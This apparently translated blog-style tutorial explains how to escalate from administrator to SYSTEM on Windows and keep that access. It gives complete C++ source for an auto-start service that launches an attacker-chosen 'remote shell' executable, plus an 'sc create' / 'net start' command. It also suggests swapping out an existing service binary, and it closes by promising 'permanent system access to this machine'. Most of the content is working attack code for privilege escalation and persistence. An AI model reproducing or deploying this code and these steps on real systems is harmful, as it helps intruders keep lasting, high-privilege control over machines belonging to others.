Hello! Sometimes, even if you have “administrator” privileges for certain operations you need to have “system” privileges, how can you escalate privileges? One of the ways is quite simple and can be done in two ways:
In both cases you have to create a windows service executable file that calls our “remote shell”, it can be done with this C++ code, replacing in the DAEMON_EXE_NAME costant the value “C:EXECUTABLE_FILE_PATH.exe” by the path of the file to run and changing the name of the service in NAME_IN_SERVICES putting the name we want the service to have and in MY_SERVICE_DESC its description:
// Windows Service main application // Add your code where necessary to create your own windows service application. #include <windows.h> #include <stdio.h> #include <stdlib.h> // Replace with your own #define NAME_IN_SERVICES TEXT("MyService") #define MY_SERVICE_DESC TEXT("Service description") #define DAEMON_EXE_NAME "C:\\EXECUTABLE_FILE_PATH.exe" // Some global vars SERVICE_STATUS gStatus; SERVICE_STATUS_HANDLE gStatusHandle; HANDLE ghStopEvent = NULL; void InstallService() { SC_HANDLE hSCMgr; SC_HANDLE hService; TCHAR ExeAddr[MAX_PATH]; SERVICE_DESCRIPTION sd; LPTSTR Desc = MY_SERVICE_DESC; if (! GetModuleFileName(NULL, ExeAddr, MAX_PATH)) { printf("Cannot install service.\n"); return; } hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (hSCMgr == NULL) { printf("OpenSCManager failed\n"); return; } hService = CreateService(hSCMgr, NAME_IN_SERVICES, NAME_IN_SERVICES, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, ExeAddr, NULL, NULL, NULL, NULL, NULL); if (hService == NULL) { printf("CreateService failed (%s)\n", ExeAddr); CloseServiceHandle(hSCMgr); return; } else printf("Service successfully installed.\nExecutable: %s\n", ExeAddr); // Now, to change its description sd.lpDescription = Desc; if (! ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &sd)) printf("ChangeServiceConfig2 failed.\n"); CloseServiceHandle(hService); CloseServiceHandle(hSCMgr); } void UninstallService() { SC_HANDLE hSCMgr; SC_HANDLE hService; hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (NULL == hSCMgr) { printf("OpenSCManager failed\n"); return; } hService = OpenService(hSCMgr, NAME_IN_SERVICES, DELETE); if (hService == NULL) { printf("OpenService failed\n"); CloseServiceHandle(hSCMgr); return; } if (! DeleteService(hService)) printf("Fallo DeleteService (%d)\n", (int) GetLastError()); else printf("Service uninstalled successfully.\nYou must restart windows for changes to take effect.\n"); CloseServiceHandle(hService); CloseServiceHandle(hSCMgr); } void MySetServiceStatus( DWORD State, DWORD ExitCode, DWORD Wait ) { gStatus.dwCurrentState = State; gStatus.dwWin32ExitCode = ExitCode; gStatus.dwWaitHint = Wait; if (State == SERVICE_START_PENDING) gStatus.dwControlsAccepted = 0; else gStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; SetServiceStatus(gStatusHandle, &gStatus); } void WINAPI CtrlHandler( DWORD CtrlCmd ) { switch (CtrlCmd) { case SERVICE_CONTROL_STOP: MySetServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 0); // Add here the necessary code to stop the daemon SetEvent(ghStopEvent); break; case SERVICE_CONTROL_INTERROGATE: // Add here the necessary code to query the daemon break; } MySetServiceStatus(gStatus.dwCurrentState, NO_ERROR, 0); } int Run( char * Command ) { STARTUPINFO si; PROCESS_INFORMATION pi; si.cb = sizeof(STARTUPINFO); si.lpReserved = NULL; si.lpDesktop = NULL; si.lpTitle = 0; si.dwX = si.dwY = si.dwXSize = si.dwYSize = si.dwXCountChars = si.dwYCountChars = si.dwFlags = 0; si.wShowWindow = SW_NORMAL; si.lpReserved2 = NULL; si.cbReserved2 = 0; si.hStdInput = si.hStdOutput = si.hStdError = 0; return CreateProcess(0, Command, 0, 0, 1, 0, 0, 0, &si, & pi); } void InitService() { // printf in this function will not work when running from SCM gStatusHandle = RegisterServiceCtrlHandler(NAME_IN_SERVICES, CtrlHandler); if (! gStatusHandle) { int e; e = GetLastError(); if (e == ERROR_INVALID_NAME) printf("RegisterServiceCtrlHandler failed (ERROR_INVALID_NAME)\n"); else if (e == ERROR_SERVICE_DOES_NOT_EXIST) printf("RegisterServiceCtrlHandler failed (ERROR_SERVICE_DOES_NOT_EXIST)\n"); else printf("RegisterServiceCtrlHandler failed (%d)\n", (int) e); return; } gStatus.dwServiceType = SERVICE_WIN32; gStatus.dwServiceSpecificExitCode = 0; MySetServiceStatus( SERVICE_START_PENDING, NO_ERROR, 3000 ); // HERE put your daemon initialization code // if it takes too long to start, call MySetServiceStatus() with // SERVICE_START_PENDING periodically. // If initialization fails, call MySetServiceStatus with SERVICE_STOPPED. // The following is a generic code. Replace with your own. Run(DAEMON_EXE_NAME); // end of daemon initialization MySetServiceStatus(SERVICE_RUNNING, NO_ERROR, 0); ghStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (ghStopEvent == NULL) { MySetServiceStatus( SERVICE_STOPPED, NO_ERROR, 0 ); printf("CreateEvent failed.\n"); return; } WaitForSingleObject(ghStopEvent, INFINITE); MySetServiceStatus(SERVICE_STOPPED, NO_ERROR, 0); } SERVICE_TABLE_ENTRY DispatchTable[] = { { NAME_IN_SERVICES, (LPSERVICE_MAIN_FUNCTION) InitService }, { NULL, NULL } }; int main( int c, char * arg[] ) { if (c > 2) { printf("Usage: servicio [ install | uninstall ]\n"); return 1; } if (c == 2 && ! stricmp(arg[1], "install")) { InstallService(); return 0; } if (c == 2 && ! stricmp(arg[1], "uninstall")) { UninstallService(); return 0; } if (! StartServiceCtrlDispatcher(DispatchTable)) printf("StartServiceCtrlDispatcher failed\n"); return 0; }
Then, as I said before, it can be done in two ways:
- Substitute the file of an executable for ours (changing the name of ours for the one you want to replace).
- You can add a new service (important to put the automatic start so that it starts if you restart the computer), you can do it with the following command:
sc create NOMBRE-DEL-SERVICIO binPath= "C:\\RUTA-DEL-EXE" start=auto net start NOMBRE-DEL-SERVICIO
In this way we would have permanent system access to this machine.